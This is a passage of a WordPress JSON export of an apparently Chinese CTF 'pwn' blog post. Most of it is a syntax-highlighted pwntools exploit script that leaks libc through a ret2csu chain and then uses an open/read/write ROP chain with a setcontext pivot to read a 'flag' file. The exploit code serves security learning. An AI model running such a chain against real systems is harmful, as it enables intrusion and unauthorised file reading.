#89DDFF\">)*<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">4009fa<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">gets_got<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">bssaddr<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)*<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">retaddr<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">4009e0<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #546E7A; font-style: italic\">#\u628aperror\u5730\u5740\u5199\u5165bss<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">          <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">bssaddr<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">gets_got<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)*<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">4009e0<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #546E7A; font-style: italic\">#\u6cc4\u9732libc<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">          <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">gets_got<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">bssaddr<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">30<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)*<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">4009e0<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #546E7A; font-style: italic\">#\u628asetcontext\u7684\u5185\u5bb9\u653e\u5165<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">          <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">gets_got<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">bssaddr<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">30<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)*<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">retaddr<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">mainaddr<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sendline<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">payload1<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">send<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">perror_addr<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sendline<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">b<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">flag<\/span><span style=\"color: #EEFFFF\">\\0<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">gets_addr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">recv<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">6<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">gets_addr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">u64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">gets_addr<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">ljust<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">8<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #C792EA\">b<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\x00<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">gets_addr:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">hex<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">gets_addr<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line cbp-see-more-line cbp-see-more-transition\"><span style=\"color: #EEFFFF\">libcbase<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\">gets_addr<\/span><span style=\"color: #89DDFF\">-<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">80060<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">flagaddr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\">bssaddr<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #F78C6C\">8<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">pop_rax<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">000000000001b500<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">libcbase<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">pop_rdx_rsi_ret<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">0000000000130539<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">libcbase<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">pop_rdi<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">000000000002164f<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">libcbase<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">pop_r13_r14_r15<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">000000000002164a<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">libcbase<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">syscalladdr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\">gets_addr<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">9b4c0<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">17<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">pop_rax:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">hex<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rax<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">pop_rdx_rsi_ret:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">hex<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rdx_rsi_ret<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">pop_rdi_ret:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">hex<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rdi<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">pop_r13_r14_r15:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">hex<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_r13_r14_r15<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">syscalladdr:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\">hex<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">syscalladdr<\/span><span style=\"color: #89DDFF\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">setcontextaddr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\">gets_addr<\/span><span style=\"color: #89DDFF\">-<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">2e010<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rax<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #546E7A; font-style: italic\">#open<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">syscalladdr<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rdx_rsi_ret<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">300<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">flagaddr<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rdi<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">3<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rax<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #546E7A; font-style: italic\">#read<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">syscalladdr<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_r13_r14_r15<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">flagaddr<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rdi<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rax<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #546E7A; font-style: italic\">#write<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">syscalladdr<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">+=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">bssaddr<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">38<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rax<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sendline<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">payload<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #546E7A; font-style: italic\"># attach(p)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #546E7A; font-style: italic\"># pause()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload2<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #89DDFF\">)*<\/span><span style=\"color: #F78C6C\">2<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">pop_rdi<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">bssaddr<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">30<\/span><span style=\"color: #89DDFF\">)+<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">setcontextaddr<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">35<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sendline<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">payload2<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">interactive<\/span><span style=\"color: #89DDFF\">()<\/span><\/span><\/code><\/pre><div class=\"cbp-see-more-container\" style=\"display:flex;flex-direction:column;align-items:center;width:100%;font-size:12px;line-height:1;position:relative;padding-top:4px;margin-bottom:-16px;height:32px\"><div style=\"background-color:#263238;height:50%;position:absolute;top:0;left:0;right:0\" aria-hidden=\"true\"><\/div><span role=\"button\" tabindex=\"0\" class=\"cbp-see-more-simple-btn cbp-see-more-simple-btn-hover\" style=\"color:#ffffff;background-color:#3b4d56;padding:6px 14px;cursor:default;position:relative;border-radius:6px\">\u5c55\u5f00<\/span><\/div><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u5148\u4e0a\u6a21\u7248\uff082.29\u4ee5\u524d\uff09 \u5728\u66f4\u65b0\u4e00\u4e2a\u7528openat\u7684\u677f\u5b50 2.29\u4ee5\u540e \u53c2\u6570\u8bb2\u89e3\uff082.29\u4e4b\u524d\uff0c\u548c2.29\u4e4b\u540e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[15],"class_list":["post-129","post","type-post","status-publish","format-standard","hentry","category-pwn","tag-orw"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=129"}],"version-history":[{"count":13,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/129\/revisions"}],"predecessor-version":[{"id":725,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/129\/revisions\/725"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=129"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}